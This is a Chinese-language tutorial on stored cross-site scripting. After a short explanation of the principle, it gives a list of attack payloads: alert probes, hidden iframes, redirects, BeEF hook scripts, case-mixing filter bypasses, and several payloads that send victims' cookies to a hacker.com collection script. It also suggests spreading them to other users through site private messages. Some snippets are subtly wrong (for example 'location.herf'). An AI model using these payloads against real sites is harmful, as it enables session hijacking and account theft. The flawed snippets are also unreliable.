存储型XSS原理:
攻击者在页面插入xss代码,服务端将数据存入数据库,当用户访问存在xss漏洞的页面时,服务端从数据库取出数据展示到页面上,导致xss代码执行,达到攻击效果。
存储型XSS又叫持久型跨站脚本。
XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。
xss =>跨站脚本攻击=>前端代码注入=>用户输入的数据会被当做前端代码执行。
如果用户输入的数据不被存入数据库可以做到存储型xss吗?
答案是可以的,存储型XSS的核心是存入到某个地方然后调用,不一定就要存在数据库里,还可以是文件里。
构造XSS脚本:
常用html标签:
<iframe> 创建包含另外一个文档的内联框架。
<textarea>定义多行文本输入控件。
<img> 向网页中嵌入一幅图片。
<script> 定义客户端脚本,比如javascript,可以包含脚本语句,可以通过src属性指向外部脚本文件。
常用javascript方法:
alert 显示带有一条指定消息和一个确认按钮的警告框。
window.location 获得当前页面地址,并把浏览器重定向到新页面。
location.herf 返回当前显示的文档的完整URL。
onl oad 一个页面或一个图像完成加载。
onsubmit 确认按钮被点击。
one rror 在加载文档或图片时发生错误。
弹框警告:脚本可以执行,也就表明后端服务器未对特殊字符做过滤。
<script> alert ('XSS') </script>
<script> alert (document.cookie) </script>
页面嵌套:
<iframe src=http://www.baidu.com width=300 height=300> </iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0> </iframe>
页面重定向:
<script>window.location="http://www.qfedu.com" </script>
<script>location.herf="http://www.baidu.com" </script>
弹窗警告并重定向:
<script>alert("请到我们的新网站"); location.herf="http://www.qfedu.com" </script>
通过网站内部私信的方式将其发给其他用户,用户在另外站点重新登录账户,就可以收集账户访问恶意代码。
<script src="http://www.qfedu.com/XSS.js"></script>
<script src="http://BeEF_IP:3000 /hook.js"></script> 结合BeEF收集信息。
巧用图片标签:
<img src="#"onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"> </img>
绕开过滤 的脚本:
大小写:<ScrIpt>alert('xss')</SCRipt>
字符编码,采用URL,Base64等。
打开新窗口并使用本地cookie访问目标网页:
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie </script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>